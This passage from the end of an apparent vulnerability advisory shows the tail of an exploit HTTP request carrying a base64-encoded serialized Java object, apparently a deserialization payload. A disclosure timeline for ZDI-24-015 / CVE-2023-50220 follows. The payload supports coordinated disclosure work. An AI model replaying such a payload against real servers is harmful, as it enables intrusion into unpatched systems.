zcQB+AIIAAAAAP0AAAHNxAH4AfnNxAH4AggAAAAA/QAAAc3EAfgB+c3EAfgCCAAAAAD9AAABzcQB+AH5zcQB+AIIAAAAAP0AAAHNxAH4AfnNxAH4AggAAAAA/QAAAc3EAfgB+c3EAfgCCAAAAAD9AAABzcQB+AH5zcQB+AIIAAAAAP0AAAHNxAH4AfnNxAH4AggAAAAA/QAAAc3EAfgB+c3EAfgCCAAAAAD9AAABzcQB+AH5zcQB+AIIAAAAAP0AAAHNxAH4AfnNxAH4AggAAAAA/QAAAcHB4cHZyABJqYXZhLmxhbmcuT3ZlcnJpZGUAAAAAAAAAAAAAAHhw</base64>
</data>
</cachedata>

------WebKitFormBoundary2aeh8v1eAg4aLbAc--

IV) Timeline

  • 2023–07–19: Case opened
  • 2023–08–09: Vendor disclosure as ZDI-CAN-21801
  • 2024–01–05: Public disclosure as ZDI-24–015, CVE-2023–50220

--

--